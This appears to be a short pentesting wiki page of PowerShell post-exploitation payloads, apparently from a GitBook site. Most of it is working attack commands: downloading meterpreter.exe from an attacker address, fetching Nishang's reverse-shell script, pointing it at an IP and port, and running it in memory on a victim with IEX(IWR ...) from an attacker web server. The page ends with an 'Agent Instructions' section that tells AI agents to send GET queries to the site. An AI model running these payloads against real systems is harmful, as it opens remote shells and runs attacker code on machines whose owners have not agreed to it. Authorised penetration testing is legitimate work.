# Powershell Payloads

## cURL

```powershell
$URL="http://10.9.254.6/meterpreter.exe"
$Path="C:\Users\pentest\meterpreter.exe"

Invoke-WebRequest -URI $URL -OutFile $Path
```

## Reverse Shell

{% code overflow="wrap" %}

```
curl https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1 > rev.ps1
```

{% endcode %}

Add the following line at the end of the script to invoke the function, adjusting args...

```
Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444
```

Start a web server

```
python3 -m http.server
```

Download and exectute the powershell script from attacker web server (on victim machine)

```
 powershell.exe (IEX(IWR http://10.10.14.5:8000/rev.ps1 -UseBasicParsing))
```

## Projects

### HackTricks

{% embed url="<https://book.hacktricks.xyz/windows-hardening/basic-powershell-for-pentesters>" %}

### Nishang

Framework and collection of payloads for offensive security and pentesting

{% embed url="<https://github.com/samratashok/nishang>" %}

### Powersploit

Project is no longer supported

{% embed url="<https://github.com/PowerShellMafia/PowerSploit>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://hackerlab.gitbook.io/wiki.hackerlab.cz/infra-pentesting/windows-postexploitation/powershell-payloads.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
